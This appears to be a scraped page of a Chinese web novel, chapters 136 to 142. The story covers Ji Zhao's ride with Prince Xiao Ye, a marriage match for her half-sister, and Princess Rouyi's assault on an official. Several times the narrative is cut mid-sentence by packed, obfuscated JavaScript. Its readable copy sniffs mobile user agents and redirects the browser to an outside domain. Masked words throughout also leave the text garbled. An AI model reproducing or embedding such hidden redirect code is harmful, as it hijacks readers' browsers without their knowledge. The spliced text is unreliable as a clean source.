纪昭正闷得慌,一听这话便笑了:“马儿呢?” 第136章 凫水 马儿牵来了。 纪昭眼前一亮,只觉得这马儿金光闪闪,油光水滑,四肢更是修长轻盈。 神骏! 纪昭从小在军营,对马儿感情不一般。 她立刻从马车上跳下来,爱不释手摸着这马儿。 “这是汗血宝马!这品相绝对是仙品!神骏!” 她不吝夸奖。 护卫道:“是,大宛国前些日子进贡了四匹汗血宝马。王爷得了两匹,一匹是乌云踏雪,另一匹便是准王妃面前这匹。这匹是母马,胜在脾气温顺,皮**罕见。” 纪昭比划了下,越发爱不释手。 这马儿高了她半个人,不用马镫是压根上不了。 母马都这么高,不敢想萧烨得的那一匹乌云踏血汗血宝马是怎么样神骏。 纪璇静、白沁雪下了马车,后面的纪府丫鬟嬷嬷也都下了马车围观。 纪昭比划了下,抓住马鞍一下子上了马。 她上马的动作干净利落,飒爽漂亮。 护卫都喝彩了。 他们看纪昭的眼神带着钦佩。这位未来的王妃看来也是身手极好的。 纪昭试了试,道:“走吧。” 她正要纵马,忽然想起了什么:“晚意,拿我的兵器!” 晚意答应一声,从马车里拿出她的枪。 枪是萧烨送的,枪头一段,枪身一段。这是方便行军打仗的**武器。纪昭很喜欢的。 纪昭接上,然后在马背上耍了个枪花,顿觉得豪气满胸。 “走!” 她背着**,夹了下马肚子,带头冲了出去。 护卫们赶紧跟上,呼啸声中三人三骑竟令人有种千军万马不可阻挡的气势。 纪府的人看得都晃了神。 他们没想到纪昭竟然如此威风凛凛,被震慑得无人敢说话。 可明明纪昭是大夫人口中粗俗、鲁莽、沾染了一身武夫臭**气的女汉子。 也是侯爷口中,冥顽不灵,不过是仗着救驾有功就不将双亲放在眼中的孽女。 现在看来,纪昭是女武神。 是尸山血海中杀出一条血路的女英雄。 纪璇静叹息一声:“大姐姐好幸福。” 白沁雪瞧了她一眼。 纪璇静:“睿亲王殿下很懂大姐姐,给了她最喜欢的东西,带着她骑马,挣脱牢笼。” 白沁雪眉心微微一动。 她没想到毫无城府的纪璇静竟然说出这番话来。 白沁雪冷淡道:“那又怎么样?” 纪璇静:“什么怎么样?” 白沁雪垂眸:“睿亲王瘸了腿,大姐姐没了内力。他们一辈子也就这么残缺着过罢了。” 纪璇静皱眉:“你说什么呢?” 白沁雪眼神很深沉:“我说的是事实。瘸了腿没法染指实权,没了内力……罢了,你不懂。” 她冷笑两声,转身上了马车。 纪璇静也哼了一声:“那又怎么样。总比你做个皇子府的贱妾好吧。六皇子也不见得稀罕你。” 白沁雪的脚步一软,差点摔倒。 …… 好风凭借力,送我上青云。 纪昭肆意驰骋,忘了所有的烦恼。甚至恨不得可以一直这样跑下去。 前面有一队人等着。 当先是睿亲王萧烨。 几日不见,他似更冷峻些,也有可能是着了黑色滚金边绣祥云龙纹骑装,手腕和膝上都戴了兽头护甲。 纪昭拢住马儿,慢慢朝着他们而去。 萧烨坐在马背上,姿态从容又很有威势,看不出半点腿有残的样子。 纪昭从马背上下来,行礼:“见过殿下。” 萧烨居高临下看着她:“这马不错吧?” 纪昭点头:“非常不错。很平稳又如疾风般很快。” 萧烨薄唇微微勾起:“那是当然,这可是最好品相的汗血宝马。” 说这话的时候,他拍了拍身下的乌云踏血。 纪昭看去,果然是另一匹汗血宝马也是极品神骏。 那黑马高她一个人,纪昭看着它都得仰着头。它皮**光滑如油水擦过,四肢修长轻盈,脚掌有一段雪白的**。 马如其名,乌云踏雪。 这是传说中的千里马。 黑马神骏却不暴躁,马眼瞧着纪昭,然后点了点头,似乎在打招呼。 居然有灵性! 纪昭忍不住去抚摸。 萧烨皱眉:“别摸了。它不是爱宠。” 纪昭恋恋不舍收回手:“有这马,日行千里简直小菜一碟。” 萧烨:“最好的战马你用来日行千里?太小看它了。” 纪昭:“不然殿下觉得要怎么用它?” 萧烨傲然:“先锋冲阵,千军万马中冲杀几个来回。你还不知道它真正本事。改日孤让你见识见识。” 纪昭:“……” 她终于明白为什么萧烨要半路拦着她了。 这分明是自己得了宝贝,实在是无处炫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她透过围挡只能看见水面上有一道影子在凫水,还能看见他披散了长长的头发。 第137章 水潭边游玩 纪昭的脸热了起来。 虽然看不见萧烨在干什么,但这情形就够令人浮想联翩。 她脑子有点懵。 不知道萧烨做这些事是为了什么。 男女之情上来看,好像也不是。他本就对她无意,纪昭不会高估自己。 上下属关系来看,好像也有点不合时宜。她就没见过哪个上峰会带着手底下的人来洗漱凫水的。 纪昭在琢磨。 萧烨声音传来:“你要是不洗,有点可惜了。” 纪昭:“在洗,在洗。” 萧烨:“一会儿我洗完,你就可以安心洗。” 纪昭谦让:“不用,殿下随意。我能等的。” 萧烨似乎嗯了一声,径直在潭水里洗了起来。纪昭不能一直盯着围挡外那人影遐想连篇,干脆打量四周。 这水潭很小,但风景出奇别致。北面是一座小悬崖,大概二十三十丈高,瀑布从山崖豁口流下来。 崖壁上的山石很有野趣,有的像兔子,有的像探出头的鸟。 水潭边缘长着嫩绿的青草,还有不少野花。 纪昭很喜欢这地方,因为光是待着就内心平静。有种山中人不管山外俗事的感觉。 纪昭洗着足,突然水里有什么游过。 “鱼!鱼!” 纪昭站起身,喊了一声。 萧烨听到声音往这边游来:“哪有鱼?” 纪昭定了定神,去摸自己的**:“有的,我瞧见一条好大的黑鱼。” 萧烨从水里起来,光着上半身,下面穿着水淋淋的罩裤。 纪昭只看了一眼,脸顿时红了。 他露了上半身。 胸膛肌肉纹理很清晰,不是那种力士的大块傻肌肉,而是流水似的纹理。 胸膛宽阔,肩背紧致,狼腰,双腿裹在罩裤下能看到两条极修长的腿。 一头湿漉漉的黑发披在肩头,滴答答流着水。 萧烨没发现纪昭的窘迫,从岸上拿了自己的手杖走了过来。 他问:“哪有鱼?指给我看。” 纪昭收回目光:“我去叉来。” 萧烨走到她身边,瞧着她拿着**,都气笑了:“孤给你的兵器不是让你来叉鱼的。” 纪昭反应过来,尬笑了声。 这柄**还没见血开封,怎么能拿来叉鱼。 萧烨抓起鹅卵石,看向她指着的方向:“那儿吗?” 纪昭点头。 萧烨静静看了一会儿,突然手指扣了几下。石头飞了出去,黑鱼翻着肚皮上来了。 纪昭:“……” 这么简单? 萧烨指了指鱼:“你去拿来,晚上烤鱼吃。” 纪昭看了看自己的衣衫,转头看见萧烨并没有发现她的窘况。她叹了口气,撸起裤腿往鱼那边走去。 好不容易抱了鱼,她往回走。 萧烨又扣了石头盯着水面。他盯得很专注,黑发上的水滴滴落脸庞都没注意。 纪昭时不时偷偷瞧他一眼,放了心。 这位爷的确对她没有什么男女大防的心思。因为他没把她当女人。 他满心满眼都是水潭里面肥硕的大黑鱼,可以做烤鱼吃。 纪昭把两条黑鱼放在岸上,又怕它们没死透,折了草搓成草绳将它们绑住。 她做这些事的时候,萧烨又射了三条鱼。 纪昭要下水去捞,萧烨自己下了水,把鱼都捞起来丢给纪昭。 纪昭看那些黑鱼,一条起码三斤多。六条就十几斤,很够吃。 她忍不住高兴:“够了够了。好大的黑鱼。” 萧烨又在水潭游了一圈,确定没黑鱼了才上了岸。 他披了一件外衣到了纪昭跟前:“应该够了。这鱼味道很鲜美的。” 纪昭随口问:“殿下怎么知道?” 萧烨:“猜的。” 纪昭:“……” 萧烨见她湿了半身,问:“你怎么不下去洗洗?” 纪昭大窘,脸红了起来。 萧烨似乎看破了她的心思,面无表情:“孤又不会偷看你。快去洗洗。” 他比纪昭还执着她身上的干净。 纪昭无奈,只能说:“那殿下得生火,我要烤干衣服。这次出来匆忙我没带衣服。” 萧烨没反对,点了点头去岸边找了个地方开始生火。他还将她脱下来的外衣放在火边烤着。 纪昭心想:他倒是细心得很。 纪昭在围挡那边洗着。 洗着洗着心思就飘远了。 纪昭想起了前世的军营生活。她被母亲不喜,父亲怠慢,丢进了军营。 刚开始没人看好她这个丫头,总觉得她要么娇气得要命,在军营几日就病**。要么放任她自由,过些日子就学坏了,再也当不成千金小姐。 也许父母亲丢她入军营时就打算放弃她了。 是大哥,还有军营里那些粗手粗脚的洗衣妇,喂了她热汤,给她肉吃。将她赢弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他站起身要招呼走。 忽然纪昭道:“殿下,要不我替你绾好发再走?您这个样子会让人误会。” 第138章 澹台明镜 纪昭说这话的时候怀着忐忑。 萧烨却没有出声呵斥她的大胆。 他摸了摸头发,点头:“好。” 于是纪昭坐在他身后,从怀里拿出篦梳为他梳头。 萧烨的头发很黑亮还非常多,纪昭一只手都快抓不住。 不过她却有办法。先是外层梳顺了,再梳里层的,最后梳发尾,把打结的地方都梳开了,然后在他鬓边编了两股发辫,最后拢起所有的头发在头顶上盘成一个发髻。 萧烨一动不动,没催促,也不埋怨。 纪昭梳得认真,鼻间已经沁出点点汗珠。 终于梳好了。 纪昭绕到萧烨面前瞧:“我的手艺真不错。” 萧烨:“……” 他还没见过这么夸奖自己的,一点都不谦虚。 纪昭:“殿下要不要去瞧瞧梳得怎么样?” 萧烨没说话,走到水潭照了照。 他说:“很好。” 纪昭正想再说两句,萧烨已经拄着手杖慢慢走向马儿。纪昭赶紧跟上去。 两人回到林间营地时,发现好多人在等着。 有大哥纪荣、金扇公子,还有两位看着是老太监的人。他们见两人来了都不约而同松了一大口气。 老太监颤巍巍走来:“老天爷,王爷怎么出去那么久。皇上担心极了。” 纪荣则走向纪昭:“我收到消息听说你跟着睿亲王来了,不放心赶过来看看。” 纪昭脸皮发热,故作镇定:“大哥不用担心。在殿下身边是极安全的。” 纪荣瞧着她潮湿的头发,还有身上皱巴巴的衣衫,露出了狐疑的神情。 “你与他去做什么了?” 纪昭:“……” 纪昭求救般看向萧烨。她指望他出来解释两句。 萧烨:“孤带着她去洗漱了。不远处有个水潭。” 众人:“……” 纪昭捂脸,还不如不解释呢。萧烨你这个活爹。 …… 众人围在篝火边吃烤物和闲谈。纪昭重新换了一套衣衫,头发也顺便规整了下。衣衫是晚意托纪荣带来的。 纪昭并不是那么勤快的人,只是发现萧烨一个大男人还挺注重仪容。 他应该是小时候接受了很严苛的皇子规训,习惯刻在骨子里,也想让她遵守。 萧烨听着金扇公子和纪荣说着所见所闻。 纪荣说的是行宫的防务,金扇公子说的话就有机锋含在里面,纪昭听了一会儿发现听不懂。 纪昭干脆到了自己的帐子准备闭目养神。 承御行宫离京城挺远,御驾中途必须歇在驿馆,而跟随御驾去的王公贵胄在驿站休息。 所以纪昭跟着萧烨出来,很坦然,甚至觉得舒适多了。 让她一路面对白沁雪,会很心烦。 纪荣过来:“今晚我与你在这儿呆一晚,明日一早我送你去行宫。” 纪昭没推辞:“多谢大哥。” 纪荣看了她一眼,终究还是嘱咐:“还未出阁,终究有男女大防。” 纪昭点了点头。 大哥是为了她好,她领情。 名声对萧烨来说可有可无,反正天塌下来他是亲王,不会动摇根本。但她是侯府千金,是女子。 正说话,金扇公子摇着扇子走来。 纪昭认识他,在黄泉地狱通过偷窥知道他是萧烨的发小,也是心腹。 此人复姓澹台,名明镜。来历很神秘,似乎是出自一支很不愿意显露人前的古老世家。 澹台明镜身份神秘,地位超然。皇宫能自由进出,亲王府和勋贵世家也能畅行无阻。总之此人充满了谜团。 澹台明镜走来,笑眯眯问纪昭:“有件事想问纪家大小姐。” 纪昭点头:“请说。” 澹台明镜:“纪家大小姐有个胭脂铺子,好像掌柜做了一笔茶叶买卖,暴赚。” 纪昭挑眉。 她知道胭脂铺子并不难查,但没想到澹台明镜竟然留心到了。 纪昭含糊敷衍:“哦,也是偶然。茶叶生意是我想囤点茶,结果西南旱灾,踩中了机遇。” 她加了一句:“其实我也不会做生意,都是闹着玩的。” 澹台明镜笑眯眯瞧着她:“闹着玩的都能暴赚。不知道纪家大小姐有没有什么生意门路指点在下?” 纪昭打量他一眼:“公子又不缺钱,为什么要做不入流的生意?” 澹台明镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二日睿亲王萧烨带着纪昭往行宫赶去。快到了官道上,分成两队。 纪昭由大哥纪荣带着追上纪府女眷的车队,而萧烨则率随从护卫直接去行宫。 纪昭上了马车,瞧见纪璇静和白沁雪在。 白沁雪问:“大姐姐怎么去了一夜未归。” 纪昭:“睿亲王让我试马,不小心跑远了。不过大哥找到我们,在前面的驿站过夜了。” 白沁雪没继续问。 纪璇静围着纪昭叽叽喳喳问着马如何,睿亲王对她如何如何。 纪灵带着丫鬟过来请她洗脸,整妆。 纪昭看了纪灵一眼。她干这些丫鬟的活儿没有什么不服气神气。 纪昭草草收拾了自己,对纪灵道:“我去你的车里睡一觉。你陪我一会儿。” 纪灵吃惊看了她一眼,答应了。 纪昭去了纪灵的车子。 这马车是给纪昭贴身丫鬟准备的,比前头一辆简朴点。 纪昭不掩饰来意,上了车就问:“你的婚事也得寒食节后定了。堂妹定了忠义伯爵府的二公子。你有什么想法?” 纪灵茫然:“我没有什么想法。大姐姐你掌眼就是。” 纪昭见她还是没主意的,叹气:“我与你商量,是给你机会自己挑中意的郎君。你要是没想法,我万一看错了,最后苦的是你。” 纪灵的婚事是纪昭重生后顶头疼的一件事。 甚至可以说,快成了她的心病了。 因为前世纪灵是胡乱许了酸秀才,被恶毒的婆家磋磨**。 纪昭因为怜惜她,所以想试着改改她的命。可接过了这桩麻烦事,纪昭才发现头疼得要命。 好的人家,纪灵配不上。 差点的人家,纪昭觉得还不如让纪灵去做姑子。 纪灵看见纪昭一脸烦恼,突然眼眶红了:“大姐姐是真心疼我。我……我感激不尽。上次我打坏大姐姐院子里的牡丹,是我坏心眼。” “大姐姐我错了,我真的错了。我以后绝对不听表小姐撺掇做坏事。” 她说着要磕头。 纪昭拉住她:“先别磕头。你当真没有中意的人?快说,不然我真的不知道替你选哪家。” “而且你姨娘一心看顾她肚子里的儿,万一她那脑子一抽风给你配什么人家,你就得遭殃。” 纪灵脸色白了白。 纪昭果然很了解二姨娘的秉性。二姨娘完全不顾女儿,只顾儿子的。 如果这一胎是个儿子,二姨娘肯定要作妖。 肯定会拿了女儿的婚事去攀高门。 想了半天,纪灵怯怯道:“前阵子苏郎君来府上教书,有一位公子路过找他。我与那位公子说了两句话……” 她还没说完脸就羞红了。 纪昭听得头更大了:“就两句话,你就喜欢上人家了?” 纪灵急忙摇头:“不不,不是,他挺有礼,看我写的字没笑话我。还说……还说……” 她的声音越来越低。 纪昭没听清楚。她恨不得上手把这庶妹摇醒。 纪灵羞红了脸:“他说,女子读书极好的。认点字,能看得懂账册,看得懂圣贤书里面的道理。他还说……明理的女子过得都不差。” 纪昭不头大了,瞬间耳清目明。 她问:“那公子没说女子无才便是德?也没有说女子读书可以相夫教子?” 纪灵摇头:“没有。那公子还安慰我写的字挺好的,说……说没见过我这么大岁数还读书,让我要坚持。” 她说完捂住脸害羞得不敢看纪昭。 纪昭却点头:“他倒是没说什么混账话。主要是他没看轻女子。” 在这个年代男子一般都很轻视女人,动不动就是“女子无才便是德”,又觉得女子生来就是为了婆家牺牲一切。 相夫教子,操持中馈都是本分。 不是说这些全部是歪理,而是若是要女子相夫教子,操持中馈,那夫家得足够尊重妇人,而不是像将女子当做奴隶,做死做活,还被磋磨。 纪昭问:“那位公子姓什么?哪家的?” 纪灵:“他姓周,是苏郎君的师弟,在书院读书。” 纪昭沉吟:“好,我有空问问苏郎君。能在书院读书,家世不会太差,学问也好的。” “最好是知书达理,家世清白。那你就终身有靠了。” 纪灵羞涩笑了:“嗯。” 她对那姓周书生有朦胧好感。 他那一番话其实不知不觉影响她。这些日子纪灵读书没有从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这种投入是世家大族延续几百年的秘诀。而郑国公夫人对这方面很敏锐。 第140章 天家女儿 纪昭接受了郑国公夫人的好意。 纪府底蕴不够,世家肯与她结交,一是必须如此,二也是给纪昭未来撑腰。 郭国夫人笑道:“国公夫人这么大手笔,我就不能小气了。” 郑国公夫人与郭国夫人是好友,听她这么说,取笑她。 “你真是够够的,一个马鞍值什么?你非要在此处与我争长短。” 郭国夫人笑道:“我哪敢。不过就是最近新得了一块玉料,觉得不错,准备拿一块给纪小友把玩。” 她故意称纪昭为“纪小友”,是存了和郑国公夫人比关系亲昵的意思。 郑国公夫人不在意郭国夫人的攀比,笑:“你不是最喜欢香料吗?怎么又玩起了玉?” 郭国夫人:“可能上了年纪,看玉啊,宝石的,十分喜欢。” 三人说着闲话,喝着茶,吃着点心等着轿子来抬。 纪昭安**在她们身边听着她们说话,四周的丫鬟奴仆垂手恭立,一个眼神她们就能知晓心意前来奉茶。 这就是权贵的快乐和轻松吧。 谈话间千金器具似玩耍的小玩意,就算是候着上山也一点不操心。 纪昭心里感叹,又警醒自己不可沉迷。 她前世过得很糟糕,重生后不可陷入这种富贵乡的假象中,变成自己厌憎的那类人。 皇亲国戚的内眷陆续前来。 柔仪公主、嘉琪郡主一起结伴而来。她们戴着帷帽,骑着骏马,身后跟着一队侍卫。 柔仪公主依旧很骄傲。 她瞧见纪昭,非常不屑哼了一声,径直去了另一个凉棚。嘉琪郡主瞧了纪昭一眼,上前见了郑国公夫人和郭国夫人后也走了。 纪昭不在意两人对自己的不屑。 这两女没什么威胁。一个是“断头公主”,另一个嘉琪郡主应该是明年出嫁,至于嫁给谁,纪昭不知道。 反正不会掀什么风浪,她没必要在意。 郭国夫人突然道:“这柔仪越长大越刁蛮。也没有父兄撑着,也不知道哪来的底气。” 郑国公夫人抿了口茶:“太后喜欢她,把她娇宠得忘了其实她不是天家女。” 郭国夫人瞧了一眼淡定喝茶的纪昭:“上次在街上乌国大王子当众抽了柔仪,丢了好大的脸。” 郑国公夫人:“说到乌国大王子,似乎他此次来谈盟约,和皇上提出要和亲。” 纪昭正在喝茶,听了这话将茶喷了。 郭国夫人赶紧让丫鬟拿来帕子:“纪小友,你喝茶小心点。” 纪昭擦着衣襟,问:“乌国大王子当真说要和亲?看中哪位公主?” 郑国公夫人神情意味深长:“当朝适龄又未婚的公主没有。大公主五年前就嫁人了,七公主还小,才十岁。皇上最疼的五公主早就订了娃娃亲,是断不可和亲的。” “其他的郡主恐怕也很难说服去和亲。” 纪昭不说话了。 她怕自己说出不合适的话来。 因为前世柔仪公主去和亲了,是自愿还是非自愿的,纪昭不知道。 郑国公夫人顿了顿,轻声说了一句:“其实我瞧着,柔仪倒是很合适去和亲。” 郭国夫人挑了画的很精致的眉:“是啊,不过这话不敢现在说。得看太后什么意思。” 郑国公夫人轻笑:“太后还能怎么个意思?柔仪不去和亲,太后的那个侄孙女就得倒霉。谁亲谁疏,太后心里还是知道的。” 纪昭听得耳朵都要竖起来了。 太后的侄孙女? 她冥思苦想,是谁? “叫谢瑶。”郭国夫人压低声音说给纪昭听,“听说她一出生就身上有异香,还有彩霞满天的祥瑞之兆。今年刚满十四,要办很大的及笄礼。” 郑国公夫人意味深长补充:“太后好像要把谢瑶送入宫,给皇上当妃子。” 谢瑶?! 纪昭愣住。 这个名字好耳熟。 谢瑶,就是前世的谢贵妃吗? 她突然明白了柔仪公主为什么会去和亲了。 为了两国邦交,皇帝要送一个公主去和亲,但后宫的公主没有合适的。唯一合适的五公主是皇帝的心尖肉。 皇帝和太后私下达成协议——太后放柔仪公主和亲,皇上让谢瑶入宫,还给了妃位。 原来如此。 纪昭突然很同情柔仪公主。 她的悲剧结局原来是权贵私下的交易,她只是筹码。 纪昭甚至对柔仪公主生出一丝丝可怜。 不过她却不会像对待庶妹纪灵一样,想去改变柔仪公主的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第141章天家女儿 人力轿子来了。 用的是竹轿,最尊贵的是前后一共六人抬,余下的是四人。 贞祈长公主年纪最大,最是尊贵。她上了六人抬的轿子。其余公主也有用六人抬,但轿身比贞祈长公主的小一些。 郭国夫人和郑国公夫人用的是四人抬,不过轿身很结实很大。 其余的郡主与纪昭用的是四人抬。地位更低的是两人抬。 品级分明,一目了然。 纪昭上了轿子,晚意为她整理轿边纱帘,就听见柔仪公主在那边呵斥。 “做什么给我这么差的轿子?” 嘉琪郡主在旁边劝:“公主快些上去吧。别与这些人废话。” 柔仪公主还在发脾气:“我就是要六人抬,我是公主!公主不晓得吗?” 一位官吏应该是礼部的小吏,他道:“公主,按着规制您坐不得六人抬。您是敕封的公主……” 柔仪公主扇了他一巴掌:“去把你上峰喊来,我要问问我这公主到底是不是真的。” 小吏被扇了一巴掌,头上的帽子都扇歪了。 小吏甚是倔强:“册子上清清楚楚明明白白写着,卑职也是按章办事,公主莫要为难卑职。” 柔仪公主更气了:“你是什么东西,敢忤逆本公主的意思?” 小吏捂着脸不说话,看样子不想为柔仪公主破例。 柔仪公主见一个小小官吏都敢瞧不起自己,越发恼了。 她抽出鞭子就抽,嘴里骂道:“让你瞧不起本公主!让你与那些乌糟烂贱的东西一个德行。本公主不抽死你……” 纪昭皱眉。 先前还同情可怜柔仪,现在就又做了这等嚣张跋扈的事,实在是令人同情不起来。 纪昭不错眼看着热闹。 柔仪公主大闹山脚下,没人去劝阻,全都在看热闹。就是可怜了那小吏被抽得浑身衣服破损,身上有血渗出。 就当纪昭犹豫要不要出去帮忙阻止。 那小吏突然冷笑:“公主最好抽死卑职,卑职**算是死得其所。公主上次在闹市公主纵马行凶,那几条人命不值钱,罚不了公主,真是白废了。” 柔仪公主听了这话,吓了一跳。 **纵马那事踩**好几个百姓,言官们纷纷上奏**,皇帝都震怒了。 要不是太后宠着她,也许公主封号都被褫夺了。她仅仅在宫中禁足一个月而已。 现在这小吏说的话含着无尽的怨毒,不知道他跟那几条人命是什么关系。 小吏说完,突然袍子蒙脸就朝着一棵大树撞了过去。 他口中大声道:“公主行凶!皇上要主持公道!” 纪昭心道糟糕。 这小吏不堪受辱要自尽! 就在小吏要撞上树干,血溅当场的时候,一个人箭步冲了过来拉住那小吏。 但那人还是迟了半步,只扯了小吏的袖子。 小吏撞上树干,倒下了。 所有人都惊呼,柔仪公主吓得脸色发白,浑身发抖地看着小吏滚在旁边,露出满脸血淋淋,也不知道是死是活。 那人被带了下,摔倒在地上十分狼狈。 纪昭看去,是个很儒雅秀净的小公子。 纪昭只听身后的纪灵紧张低呼:“周公子!” 嗯?竟然是纪灵有好感的心上人? 纪昭只觉得冥冥之中似乎有戏。 怎么这么巧路上要找姓周的公子,这人就出现在自己面前? 纪昭拉了纪灵:“快去带人扶周公子。” 纪灵被提醒了,赶紧拉着晚秋去。晚秋是丫鬟,她是庶小姐。晚秋搭手,她领这相扶之情,不算突兀。 小吏那边已经有人去查看伤势。 过了一会儿,有官吏匆匆从上面跑下来,瞧见属下浑身是学,生死不明。 官吏气得不管不顾指着柔仪公主的鼻子破口大骂。 于是山脚下乱成一锅粥。 柔仪公主闯了大祸,又被骂了,捂着脸呜呜哭了起来。 嘉琪郡主不敢与她同道,赶紧上了一顶轿子催促着上了行宫跑了。 纪昭被滞留,不是她不想上行宫,则是想趁机探明这位见义勇为的周公子是什么人。 能随行御驾行宫的应该也是家世极有底蕴的。 周公子没摔破皮,只是衣衫蹭破了,又受了惊。 纪灵担忧瞧着他的脸色:“周公子没事吧?方才好危险。” 周公子还在定神,半天才说:“可不能出人命,出了人命此行就不好了。” 纪灵忍不住拿了帕子为他擦去肩上挂着的落叶:“周公子喝口茶安安神,一会约莫还有人要问公子的话。” 周公子见她满脸担忧,笑了笑:“谢谢灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489116|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿妹妹。” 纪灵脸上飞起红晕:“谢了就见外了。” 她说着退了开去,去凉棚拿茶水去了。 纪昭走来,问他来历。 原来周公子叫做周行知。是淮阳周家排行第五的公子,是庶子,因为人品端正,勤勉好学。周家将他送入书院中读书,与嫡子一般培养。 周行知在书院中结识了不少王公子弟,苏玉臣也与他交好。 这次来行宫,是周家人将他推给了五皇子伴读。 纪昭听完,心中有了底。 都是庶出的,家世也不错,关键是人品清白,又好学勤勉。 加上刚才他出手救人,是本能的举措,证明是个勇毅的人。 纪昭含笑:“周公子刚才出手,一定会有人赏识的。” 周行知此时也知道了面前这位美丽的少女身份,赶紧拱手:“纪大小姐言重了,我只想救人没想这么多。” 纪灵拿来了茶:“周公子喝点润润喉。” 周行知作揖感谢后才接过茶水。 纪昭心里点了点头,对纪灵道:“这里没我们的事,我们上去。” 正说话间,魏曹公带人匆匆下山来。 他脸色很严肃,有种大雨欲来的肃冷。 他对纪昭问道:“纪大小姐可否受惊?” 纪昭摇头,将事情说了。 魏曹公对纪昭道:“此事与纪大小姐无关是最好。王爷派人来护送,纪大小姐且先上山。” 纪昭微微诧异。 萧烨消息还真灵通,他大概是担心柔仪是与自己发生了龌龊。 纪昭庆幸自己没出面阻拦,不然的话这行宫**的罪名就要扣到自己的头上了。 纪昭带着纪府的女眷上了行宫,由管事太监领着去了安置的院子。 歇息了一会儿,到了傍晚。 纪昭听说柔仪公主被皇帝重罚,不但步行上山,还一上山就关在了行宫的监牢中。 纪昭吃惊:“当真关在监牢中?她可是公主。” 晚意:“是真的。奴婢听说柔仪公主折辱官员,差点闹出人命来,加上上次她打了苏郎君一鞭子,旧账新账一起算,柔仪公主逃不了惩罚。” 纪昭暗自摇头。 柔仪公主还真的是凭着本事将自己作**。 闹了这么一出,将来和亲只能是她。 第142章柔仪公主差点闹出人命 纪昭用过晚膳去找了纪灵。 她将自己打听到的说了,然后问纪灵的意思。 纪灵一向是没什么主意的,但周公子又实在是人品端正好的,还对她和颜悦色。她心里是喜欢的。 纪灵:“谢谢大姐姐操心。不过就不知道周公子有没有自幼定亲的。” 纪昭:“他是大世家的庶子,不可能那么早定婚事。” 她又说:“我让大哥有空去探探口风。若是大哥探不到,我去找苏郎君。” 纪灵感激不尽,只差给纪昭磕头。 纪昭也十分高兴。 终于把这件事定了,虽然落着好处不多,但却解决了一个心结。 纪昭寻思没事,就让人给大哥纪荣去了个口信。 送信的人去了半天,回来道:“大公子被派到龙虎营那边协防了。” 纪昭皱眉:“龙虎营?很远吧?” 来人道:“大概三百里吧。” 口信没送出去,纪昭想了想,写个帖子让人去寻苏玉臣。 她本没有指望能送到。 却没想到来人很快回来了,还得了赏赐。 来人很高兴:“苏郎君收到帖子了,说会按时赴约品茶。” 纪昭点了点头。 苏玉臣能来承御行宫是板上钉钉的事,因为皇帝很宠信他。而她用的是大哥的名义下的帖子。 苏玉臣能看笔迹,知道是自己写的。 纪昭安下心来,开始静静寻思承御行宫能发生的事。 她想了半天,终究只想起了一星半点关于承御行宫的小事。 前世皇帝也是这般兴高采烈地带人去行宫,不过却没有什么后续事,她所知的皇帝行宫归来一个月后生病也只是寻常的事。 因为至此后,皇帝一直断断续续龙体不好。 纪昭蹙眉。 得不到先机,就猜不透接下来局势发展。 比如柔仪公主和亲,前世知晓了她的命运,纪昭就会刻意躲她锋芒,不和她沾染。 今天山下的事,如果按着以前自己的性子还有那热心肠也许会冲过去。但如果冲过去,皇帝的怒火也会分一半到自己的头上。 因为行宫出行是一件开心的事,而天家讲究玄学,出行的兆头不好,天家很忌讳。 现在周行知拉了一把,皇帝得知后肯定要赏赐。 而柔仪公主则要被皇帝重罚。 也就是说,掌握先机会让纪昭提前躲避灾难。 纪昭想了半天,没什么头绪。 她自嘲一笑:“罢了,自己还说做过鬼什么都不怕。如今竟然还畏首畏尾的。” 索性不想,纪昭唤来纪璇静和纪灵,打算一会四周转转玩玩。 …… 纪昭这边轻松,皇帝在行宫中气氛十分严肃。 柔仪公主折辱了官吏,害得官吏不堪受辱要自尽。 这件事很严重。 因为官吏再小也是朝廷命官,还是礼部的官。 